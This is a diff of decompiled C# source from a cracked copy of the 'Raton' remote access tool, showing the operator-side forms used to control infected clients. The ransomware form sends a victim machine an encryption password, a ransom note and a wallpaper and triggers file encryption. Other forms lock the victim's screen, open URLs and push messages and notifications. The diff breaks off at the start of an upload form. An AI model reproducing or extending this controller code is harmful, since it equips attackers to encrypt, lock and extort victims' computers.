ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMessageBox));
this.flatComboBox1 = new FlatComboBox();
this.flatComboBox2 = new FlatComboBox();
this.label1 = new Label();
this.label2 = new Label();
this.textBox1 = new TextBox();
this.textBox2 = new TextBox();
this.label3 = new Label();
this.label4 = new Label();
this.timer1 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
this.SuspendLayout();
this.flatComboBox1.FormattingEnabled = true;
this.flatComboBox1.Location = new Point(13, 433);
this.flatComboBox1.Name = "flatComboBox1";
this.flatComboBox1.Size = new Size(566, 23);
this.flatComboBox1.TabIndex = 0;
this.flatComboBox2.FormattingEnabled = true;
this.flatComboBox2.Location = new Point(12, 388);
this.flatComboBox2.Name = "flatComboBox2";
this.flatComboBox2.Size = new Size(567, 23);
this.flatComboBox2.TabIndex = 1;
this.label1.AutoSize = true;
this.label1.Location = new Point(12, 369);
this.label1.Name = "label1";
this.label1.Size = new Size(105, 15);
this.label1.TabIndex = 2;
this.label1.Text = "Message box icons";
this.label2.AutoSize = true;
this.label2.Location = new Point(12, 415);
this.label2.Name = "label2";
this.label2.Size = new Size(118, 15);
this.label2.TabIndex = 3;
this.label2.Text = "Message box options";
this.textBox1.Location = new Point(12, 34);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(564, 22);
this.textBox1.TabIndex = 5;
this.textBox2.Location = new Point(15, 86);
this.textBox2.MaxLength = 200;
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(562, 270);
this.textBox2.TabIndex = 6;
this.label3.AutoSize = true;
this.label3.Location = new Point(12, 68);
this.label3.Name = "label3";
this.label3.Size = new Size(136, 15);
this.label3.TabIndex = 7;
this.label3.Text = "Message box description";
this.label4.AutoSize = true;
this.label4.Location = new Point(11, 16 /*0x10*/);
this.label4.Name = "label4";
this.label4.Size = new Size(98, 15);
this.label4.TabIndex = 8;
this.label4.Text = "Message box title";
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_chat_warning_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(12, 463);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(567, 46);
this.rgbBuildButton1.TabIndex = 9;
this.rgbBuildButton1.Text = "Show message box";
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(591, 522);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.flatComboBox2);
this.Controls.Add((Control) this.flatComboBox1);
this.Controls.Add((Control) this.label4);
this.Controls.Add((Control) this.label3);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.label1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonMessageBox);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonMessageBox);
this.Load += new EventHandler(this.ratonMessageBox_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,140 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonNotepad
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonNotepad : Form
{
private IContainer components;
private TextBox textBox1;
private TextBox textBox2;
private Label label1;
private Label label2;
private Timer timer1;
private RgbBuildButton rgbBuildButton1;
public SillyClient SillyClient { get; set; }
public ratonNotepad()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonNotepad_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox1.TextLength < 1)
{
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else if (this.textBox2.TextLength < 3)
{
int num2 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else
{
Pack pack = new Pack();
pack.SetString("Packet", "Notepad");
pack.SetString("Content", this.textBox2.Text);
pack.SetString("Title", this.textBox1.Text);
this.SillyClient.Send(pack.Pacc());
int num3 = (int) Messenger.MessageBox("Notepad sent to the client", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonNotepad));
this.textBox1 = new TextBox();
this.textBox2 = new TextBox();
this.label1 = new Label();
this.label2 = new Label();
this.timer1 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
this.SuspendLayout();
this.textBox1.Location = new Point(10, 27);
this.textBox1.MaxLength = 200;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(655, 22);
this.textBox1.TabIndex = 0;
this.textBox2.Location = new Point(11, 76);
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(656, 308);
this.textBox2.TabIndex = 1;
this.label1.AutoSize = true;
this.label1.Location = new Point(8, 9);
this.label1.Name = "label1";
this.label1.Size = new Size(29, 15);
this.label1.TabIndex = 2;
this.label1.Text = "Title";
this.label2.AutoSize = true;
this.label2.Location = new Point(8, 58);
this.label2.Name = "label2";
this.label2.Size = new Size(49, 15);
this.label2.TabIndex = 3;
this.label2.Text = "Content";
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_notepad_person_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(10, 390);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(656, 46);
this.rgbBuildButton1.TabIndex = 4;
this.rgbBuildButton1.Text = "Send notepad";
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(677, 453);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label1);
this.Controls.Add((Control) this.label2);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonNotepad);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonNotepad);
this.Load += new EventHandler(this.ratonNotepad_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,143 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonNotify
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonNotify : Form
{
private IContainer components;
private TextBox textBox2;
private TextBox textBox1;
private Label label1;
private Label label2;
private Timer timer1;
private RgbBuildButton rgbBuildButton1;
public SillyClient SillyClient { get; set; }
public ratonNotify()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox1.TextLength < 1)
{
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else if (this.textBox2.TextLength < 3)
{
int num2 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else
{
int num3 = 10;
Pack pack = new Pack();
pack.SetString("Packet", "Notify");
pack.SetString("content", this.textBox1.Text);
pack.SetString("title", this.textBox2.Text);
pack.SetInt("time", num3);
this.SillyClient.Send(pack.Pacc());
int num4 = (int) Messenger.MessageBox("Notification sent to the client", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void ratonNotify_Load(object sender, EventArgs e) => this.timer1.Start();
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonNotify));
this.textBox2 = new TextBox();
this.textBox1 = new TextBox();
this.label1 = new Label();
this.label2 = new Label();
this.timer1 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
this.SuspendLayout();
this.textBox2.Location = new Point(10, 80 /*0x50*/);
this.textBox2.MaxLength = 200;
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(656, 308);
this.textBox2.TabIndex = 6;
this.textBox1.Location = new Point(10, 32 /*0x20*/);
this.textBox1.MaxLength = 40;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(655, 22);
this.textBox1.TabIndex = 5;
this.label1.AutoSize = true;
this.label1.Location = new Point(7, 14);
this.label1.Name = "label1";
this.label1.Size = new Size(29, 15);
this.label1.TabIndex = 7;
this.label1.Text = "Title";
this.label2.AutoSize = true;
this.label2.Location = new Point(7, 62);
this.label2.Name = "label2";
this.label2.Size = new Size(49, 15);
this.label2.TabIndex = 8;
this.label2.Text = "Content";
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_circle_edit_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(10, 395);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(655, 46);
this.rgbBuildButton1.TabIndex = 9;
this.rgbBuildButton1.Text = "Send notification";
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(677, 461);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label1);
this.Controls.Add((Control) this.label2);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonNotify);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonNotify);
this.Load += new EventHandler(this.ratonNotify_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,213 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonRansomware
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonRansomware : Form
{
private static string defaultImagePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Ransomware.jpg");
private string selectedImagePath = File.Exists(ratonRansomware.defaultImagePath) ? ratonRansomware.defaultImagePath : string.Empty;
private IContainer components;
private TextBox textBox1;
private Label label1;
private Timer timer1;
private Button button1;
private TextBox textBox2;
private Label label2;
private PictureBox pictureBox1;
private RgbBuildButton rgbBuildButton1;
public SillyClient SillyClient { get; set; }
public ratonRansomware()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonRansomware_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button2_Click(object sender, EventArgs e)
{
if (this.textBox1.TextLength < 1)
{
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else if (this.textBox2.TextLength < 1)
{
int num2 = (int) Messenger.MessageBox("Please insert a password", "Error", icon: MessageBoxIcon.Hand);
}
else if (string.IsNullOrEmpty(this.selectedImagePath))
{
int num3 = (int) Messenger.MessageBox("Please select the wallpaper", "Error", icon: MessageBoxIcon.Hand);
}
else
{
string base64String = Convert.ToBase64String(File.ReadAllBytes(this.selectedImagePath));
Pack pack1 = new Pack();
pack1.SetString("Packet", "Wallpaper");
pack1.SetString("Image", base64String);
this.SillyClient.Send(pack1.Pacc());
Pack pack2 = new Pack();
pack2.SetString("Packet", "Encrypt");
pack2.SetString("Password", this.textBox1.Text);
pack2.SetString("Content", this.textBox2.Text);
this.SillyClient.Send(pack2.Pacc());
int num4 = (int) Messenger.MessageBox("Ransomware attack executed, it will take some moments depending on the network", "Encryptor", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
private void pictureBox1_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Title = "Select a wallpaper";
openFileDialog.Filter = "Windows supported|*.jpg;*.jpeg;*.bmp";
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
try
{
this.selectedImagePath = openFileDialog.FileName;
Path.GetFileName(this.selectedImagePath);
this.pictureBox1.BackgroundImage = Image.FromFile(this.selectedImagePath);
}
catch (Exception ex)
{
}
}
}
private void button1_Click(object sender, EventArgs e)
{
if (this.button1.Text == "Show")
{
this.button1.Text = "Hide";
this.textBox1.UseSystemPasswordChar = false;
}
else
{
this.button1.Text = "Show";
this.textBox1.UseSystemPasswordChar = true;
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonRansomware));
this.textBox1 = new TextBox();
this.label1 = new Label();
this.timer1 = new Timer(this.components);
this.button1 = new Button();
this.textBox2 = new TextBox();
this.label2 = new Label();
this.pictureBox1 = new PictureBox();
this.rgbBuildButton1 = new RgbBuildButton();
((ISupportInitialize) this.pictureBox1).BeginInit();
this.SuspendLayout();
this.textBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox1.Location = new Point(15, 28);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(586, 22);
this.textBox1.TabIndex = 0;
this.textBox1.UseSystemPasswordChar = true;
this.label1.AutoSize = true;
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label1.Location = new Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new Size(117, 15);
this.label1.TabIndex = 1;
this.label1.Text = "Encryption password";
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.button1.Location = new Point(607, 28);
this.button1.Name = "button1";
this.button1.Size = new Size(64 /*0x40*/, 23);
this.button1.TabIndex = 2;
this.button1.Text = "Show";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new EventHandler(this.button1_Click);
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox2.Location = new Point(15, 81);
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(656, 130);
this.textBox2.TabIndex = 3;
this.textBox2.Text = componentResourceManager.GetString("textBox2.Text");
this.label2.AutoSize = true;
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label2.Location = new Point(12, 62);
this.label2.Name = "label2";
this.label2.Size = new Size(76, 15);
this.label2.TabIndex = 4;
this.label2.Text = "Ransom note";
this.pictureBox1.BackgroundImage = (Image) Resources.Ransomware;
this.pictureBox1.BackgroundImageLayout = ImageLayout.Zoom;
this.pictureBox1.Location = new Point(15, 218);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new Size(656, 282);
this.pictureBox1.TabIndex = 6;
this.pictureBox1.TabStop = false;
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_lock_shield_24_filled;
this.rgbBuildButton1.IconSize = 26;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(15, 507);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(656, 46);
this.rgbBuildButton1.TabIndex = 7;
this.rgbBuildButton1.Text = "Gotta encrypt 'em all!";
this.rgbBuildButton1.Click += new EventHandler(this.button2_Click);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(691, 577);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.pictureBox1);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonRansomware);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonRansomware);
this.Load += new EventHandler(this.ratonRansomware_Load);
((ISupportInitialize) this.pictureBox1).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,158 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonScreenLocker
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonScreenLocker : Form
{
private IContainer components;
private Label label1;
private TextBox textBox1;
private Label label2;
private PictureBox pictureBox1;
private Timer timer1;
private RgbBuildButton rgbBuildButton1;
public SillyClient SillyClient { get; set; }
public ratonScreenLocker()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
public byte[] GetImageBytes()
{
if (this.pictureBox1.BackgroundImage == null)
return new byte[0];
using (MemoryStream memoryStream = new MemoryStream())
{
this.pictureBox1.BackgroundImage.Save((Stream) memoryStream, this.pictureBox1.BackgroundImage.RawFormat);
return memoryStream.ToArray();
}
}
private void button1_Click(object sender, EventArgs e)
{
Pack pack = new Pack();
pack.SetString("Packet", "Lock");
pack.SetString("Text", this.textBox1.Text);
pack.Set("Image", this.GetImageBytes());
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Screen locked successfully", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
this.Close();
}
private void pictureBox1_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "Screenlocker supported|*.jpg;*.jpeg;*.png;*.bmp";
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
this.pictureBox1.BackgroundImage = Image.FromFile(openFileDialog.FileName);
}
private void ratonScreenLocker_Load(object sender, EventArgs e) => this.timer1.Start();
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonScreenLocker));
this.label1 = new Label();
this.textBox1 = new TextBox();
this.label2 = new Label();
this.pictureBox1 = new PictureBox();
this.timer1 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
((ISupportInitialize) this.pictureBox1).BeginInit();
this.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new Point(13, 14);
this.label1.Name = "label1";
this.label1.Size = new Size(97, 15);
this.label1.TabIndex = 0;
this.label1.Text = "Screen locker text";
this.textBox1.Location = new Point(12, 32 /*0x20*/);
this.textBox1.MaxLength = 2000;
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(573, 81);
this.textBox1.TabIndex = 1;
this.label2.AutoSize = true;
this.label2.Location = new Point(13, 125);
this.label2.Name = "label2";
this.label2.Size = new Size(110, 15);
this.label2.TabIndex = 2;
this.label2.Text = "Screen locker image";
this.pictureBox1.BackgroundImage = (Image) Resources._74b5e4b721827ea2500de684d2c839f6;
this.pictureBox1.BackgroundImageLayout = ImageLayout.Stretch;
this.pictureBox1.Location = new Point(16 /*0x10*/, 144 /*0x90*/);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new Size(569, 417);
this.pictureBox1.SizeMode = PictureBoxSizeMode.CenterImage;
this.pictureBox1.TabIndex = 3;
this.pictureBox1.TabStop = false;
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_lock_shield_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(12, 567);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(573, 46);
this.rgbBuildButton1.TabIndex = 4;
this.rgbBuildButton1.Text = "Lock screen";
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(601, 626);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.pictureBox1);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonScreenLocker);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonScreenLocker);
this.Load += new EventHandler(this.ratonScreenLocker_Load);
((ISupportInitialize) this.pictureBox1).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,119 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonURL
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonURL : Form
{
private IContainer components;
private TextBox textBox1;
private Timer timer1;
private Label label1;
private RgbBuildButton rgbBuildButton1;
public SillyClient SillyClient { get; set; }
public ratonURL()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonURL_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
Uri result;
if (Uri.TryCreate(this.textBox1.Text, UriKind.Absolute, out result) && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps))
{
Pack pack = new Pack();
pack.SetString("Packet", "Website");
pack.SetString("URL", this.textBox1.Text.ToString());
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("URL sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
else
{
int num1 = (int) Messenger.MessageBox("Please insert a valid URL", "Error", icon: MessageBoxIcon.Hand);
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonURL));
this.textBox1 = new TextBox();
this.timer1 = new Timer(this.components);
this.label1 = new Label();
this.rgbBuildButton1 = new RgbBuildButton();
this.SuspendLayout();
this.textBox1.Location = new Point(13, 34);
this.textBox1.MaxLength = 200;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(325, 22);
this.textBox1.TabIndex = 0;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.label1.AutoSize = true;
this.label1.Location = new Point(13, 15);
this.label1.Name = "label1";
this.label1.Size = new Size(152, 15);
this.label1.TabIndex = 2;
this.label1.Text = "Please enter the URL to visit";
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_people_search_24_filled1;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(12, 62);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(325, 46);
this.rgbBuildButton1.TabIndex = 3;
this.rgbBuildButton1.Text = "Visit website";
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(350, 125);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonURL);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonURL);
this.Load += new EventHandler(this.ratonURL_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,304 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonUpload
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
